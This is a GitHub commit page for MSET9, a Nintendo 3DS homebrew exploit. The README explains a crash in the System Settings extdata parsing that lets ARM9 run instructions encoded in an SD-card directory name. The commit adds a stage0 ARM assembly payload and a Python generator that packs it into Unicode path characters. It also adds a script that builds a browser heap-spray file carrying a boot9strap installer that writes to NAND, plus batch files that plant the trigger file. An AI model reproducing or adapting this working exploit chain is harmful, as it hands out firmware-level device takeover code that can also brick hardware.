Skip to content

Commit

Permalink
Initial upload
Browse files Browse the repository at this point in the history
  • Loading branch information
zoogie committed Aug 7, 2023
1 parent 0cf5792 commit 9782aa8
Show file tree
Hide file tree
Showing 55 changed files with 27,419 additions and 1 deletion.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -35,12 +35,14 @@
*.i*86
*.x86_64
*.hex
*.bin

# Debug files
*.dSYM/
*.su
*.idb
*.pdb
*.lst

# Kernel Module Compile Results
*.mod*
Expand Down
10 changes: 10 additions & 0 deletions F00D400ARM9.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
Dear ARM9,

Please read this and crash while executing FS_EnumerateExtData and jump PC to ID1 and follow further instructions there.
- so we can run some cool homebrew :>

Thanks,
Mr. Zoogie :)

PS: yes, this is what triggers the exploit
and yes, it's just a normal text file!
33 changes: 33 additions & 0 deletions ID1gen/ID1gen.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
.arm
.text
.cpu arm946e-s
.arch armv5te

#define GARBAGE 0x44444444

.global _start
start:


@ldr sp, =0x22f18000
@ldr r6, [sp, #0x44]
adds r9, pc, #(1f - . - 8) @ trying to avoid
rorne r8, r9, #16 @ encoding hell
rorne r0, r8, #16
svc 0x7b
1:
msr cpsr_c, #(0x13 | (1 << 6) | (1 << 7)) @ SVC MODE | NO INTERRUPTS
ldr r1, 1f
mrc p15, 0, r4, c1, c0, 0
and r4, r4, r1
mcr p15, 0, r4, c1, c0, 0
ldr pc, [sp,#0x4C]
1:
.word ~((1 << 0) | (1 << 2) | (1 << 12))
2:
@.word 0x25d48ae0
@ .word 0x25c58bc0


.pool

13 changes: 13 additions & 0 deletions ID1gen/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
HAXNAME := ID1gen

all: ID1gen.bin

clean:
rm -f $(HAXNAME).elf $(HAXNAME).bin

$(HAXNAME).bin: $(HAXNAME).elf
arm-none-eabi-objcopy -O binary $(HAXNAME).elf $(HAXNAME).bin

$(HAXNAME).elf: $(HAXNAME).s
arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib -Ttext=0x00000000 $< -o $(HAXNAME).elf

2 changes: 2 additions & 0 deletions ID1gen/build.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
make clean && make
pause
37 changes: 36 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,37 @@
# MSET9
Ultimate gift of Lenny

## Thanks
- Luigoalma for some asm help in ID1gen!

## What it is
This is an ARM9 primary exploit for 3DS that can be launched with only filename data added to the inserted SD card.

## How does it work
When FS_EnumerateExtData is called by MSET (System Settings) to parse 3DS extdata IDs for Data Managment, a file that starts with 8 hex digits can crash ARM9 if placed directly inside the extdata directory. It can crash in various ways based on subtleties in the way the user triggers the crash event.<br>

While mostly leading to null derefs, in one specific context, ARM9 jumps directly to the ID1 string being held nearby in ARM9 memory. Serendipitously, the 3DS doesn't discern what characters are used for the ID1 directory name on the SD, only requiring exactly 32 chars. This allows the attacker to insert arm instructions into the unicode ID1 dirname and take control of ARM9, and thus, full control of the 3DS.

## Can I do it?
-- You need an old3ds, latest firm (new3ds will be coming soon)
-- A spare SD card you can format to blank (this will likely change too, I just don't want people screwing their main sd card up in these early days).
-- Windows PC (this should be expanded after the exploit leaves beta)

## Directions
In release archive. It may seem long and complex but it really isn't that bad. People who have trouble following directions will struggle though.<br>
There's a lot of room for improvement regarding ease-of-use.

## FAQ

Q: This installs boot9strap and writes to NAND?<br>
A: Yes! What else ya gonna do with ARM9 control, a9lh? pastaCFW? :p<br>
Q: That sounds dangerous, Zoogie!<br>
A: Yeah, it kinda is but the scene's been doing this dangerous stuff for years. Just sit out the beta phase if concerned.<br>
Q: Wait, why are you sending my 3DS online with the browser?<br>
A: The ID1 stage0 payload only allows for 0x40 bytes of instructions. Very small. Using the browser to "spray" fcram with a stage1 payload is a practical solution. Still, I'd like to add a completely offline stage1 solution in the future.<br>
Q: So you hacked the browser again Zoogie, nice job!<br>
A: No, no, no, it's just being used for data transport.<br>
Q: That file that triggers the exploit ... it kinda looks like an fcram address?<br>
A: It is. Another convenient fact of that file (besides triggering the overall crash) is that the first 8 chars of that hex filename are converted to a u32 that happens to exist 0x4c past SP, so I can use it in stage0 to jump to the fcram target of my choice without recompiling the ID1 mini payload. It's optional to do that though. I could instead call it F00D43D5 in tribute to a certain other recently RIP'd exploit :p.<br>
Q: You suggested in the hack explanation above that FS_EnumerateExtData is the responsible function for allowing the crash in MSET/ARM9, could this be called in userland homebrew to take over ARM9?<br>
A: Maybe? I briefly played around with this very idea, but was unable to find a crash context that I could control, unlike the pre-userland method described above. Maybe this could be an exercise for the dedicated user to explore and flesh out this potential variant of MSET9! It could be useful down the line.<br>
Fun fact: The 8 digit hex file, if left in extdata, will also crash FBI when selecting the "Ext Save Data" option in its main menu. It's the only homebrew I know that calls FS_EnumerateExtData.
File renamed without changes.
5 changes: 5 additions & 0 deletions _build_delete-file.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
cd mini_b9s_installer && make clean && make && cd..
python build.py
chcp 65001
del "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐￿诀◅耀⋱\extdata\88888888"
pause
3 changes: 3 additions & 0 deletions _insert-file.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
chcp 65001
copy 88888888 "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐￿诀◅耀⋱\extdata\88888888"
pause
21 changes: 21 additions & 0 deletions build.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import os,sys,struct

data=struct.pack("<I", 0xe1a0600f)*(0xe0000//4)
temp=b"var i=0/*aaa" + data + b"*/"

with open("lenny.js","wb") as f:
f.write(temp)

with open("mini_b9s_installer/mini_b9s_installer.bin","rb") as f:
#with open("3ds_ropkit2/ropkit.bin","rb") as f:
b9s=f.read()

mlen=len(temp)
b9slen=len(b9s)

target=(mlen-b9slen-0x20) & 0xfffffffc

with open("lenny.js","rb+") as f:
for i in range(0x10000,0xe0000-1,0x20000):
f.seek(i)
f.write(b9s)
3 changes: 3 additions & 0 deletions id1gen.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
cd ID1gen && make clean && make && cd..
python id1gen.py
pause
24 changes: 24 additions & 0 deletions id1gen.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import os,sys,struct
from pathvalidate import ValidationError, validate_filename

with open("ID1gen/ID1gen.bin","rb") as f: #stage0 arm9 instructions generated in this asm project. its purpose is to safely jump to fcram, where our stage1 payload (mini b9s installer) awaits.
raw=f.read(0x40) #id1 provides about 16 arm instructions, not much to work with!


for i in range(0, len(raw), 2): #checking for unicode chars/instructions that won't make windows puke.
print("Position offset: 0x%04X" % i)
temp=str(raw[i:i+2], encoding='utf-16le')
try:
validate_filename(temp)
except:
print("Error at position offset: 0x%04X: %02X %02X" % (i,int(raw[i]),int(raw[i+1])))

#path=struct.pack("<H", 0x41)*28
#id1="028600aa641000004e4361720088"
id1= "028600aa641000004e43617200880334" #our arm instruction payload eats away from the back to the front of this string. the hex chars seem to be NOP'd by the arm9.

path=id1[:32-len(raw)//2]+str(raw,encoding='utf-16le')

print("length of path: %d" % len(path)) #always be 32 chars

os.mkdir(path)
1,184 changes: 1,184 additions & 0 deletions lenny.js

Large diffs are not rendered by default.

153 changes: 153 additions & 0 deletions mini_b9s_installer/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------

ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif

TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/base_rules

#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#---------------------------------------------------------------------------------
TARGET := $(notdir $(CURDIR))
BUILD := build
SOURCES := source source/fatfs source/fatfs/sdmmc
DATA := data
INCLUDES :=

#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv5te -mtune=arm946e-s -marm

CFLAGS := \
-g \
-Os \
-ffunction-sections \
-fdata-sections \
-fomit-frame-pointer \
-std=gnu11 \
-Wall \
-Wno-main \
-fno-builtin \
$(ARCH) $(DEFINES)

CFLAGS += $(INCLUDE)

ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=$(TOPDIR)/linker.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)

LIBS :=

#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS :=


#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------

export OUTPUT := $(CURDIR)/$(TARGET)
export TOPDIR := $(CURDIR)

export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))

export DEPSDIR := $(CURDIR)/$(BUILD)

CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))

#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------

export OFILES_SOURCES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)

export OFILES_BIN := $(addsuffix .o,$(BINFILES))
export OFILES := $(OFILES_BIN) $(OFILES_SOURCES)

export HFILES := $(addsuffix .h,$(subst .,_,$(BINFILES)))
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)

export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)

.PHONY: all clean

#---------------------------------------------------------------------------------
all: $(BUILD) $(DEPSDIR)
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile

$(BUILD):
@mkdir -p $@

ifneq ($(DEPSDIR),$(BUILD))
$(DEPSDIR):
@mkdir -p $@
endif

#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET).bin $(TARGET).elf


#---------------------------------------------------------------------------------
else

#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).bin : $(OUTPUT).elf
$(OBJCOPY) -S -O binary $< $@
@echo built ... $(notdir $@)

$(OFILES_SOURCES) : $(HFILES)

$(OUTPUT).elf : $(OFILES)

%.elf: $(OFILES)
@echo linking $(notdir $@)
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@
@$(NM) -CSn $@ > $(notdir $*.lst)

#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o %_bin.h : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)

-include $(DEPSDIR)/*.d

#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------
2 changes: 2 additions & 0 deletions mini_b9s_installer/build.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
make clean && make
pause
21 changes: 21 additions & 0 deletions mini_b9s_installer/linker.ld
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm")
OUTPUT_ARCH(arm)

ENTRY(_start)
SECTIONS
{
. = 0x23100000;

__start__ = ABSOLUTE(.);

.text : ALIGN(4) { *(.text.start) *(.text*); . = ALIGN(4); }
.rodata : ALIGN(4) { *(.rodata*); . = ALIGN(4); }
.bss : ALIGN(8) { __bss_start__ = .; *(.bss* COMMON); . = ALIGN(8); __bss_end__ = .; }

. = ALIGN(4);

__end__ = ABSOLUTE(.);

__stack_top__ = 0x22f00000;
__stack_bottom__ = 0x22ef0000;
}
4 changes: 4 additions & 0 deletions mini_b9s_installer/linker.specs
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
%rename link old_link

*link:
%(old_link) -T %:getenv(TOPDIR /linker.ld) --nmagic --gc-sections
Loading

0 comments on commit 9782aa8

Please sign in to comment.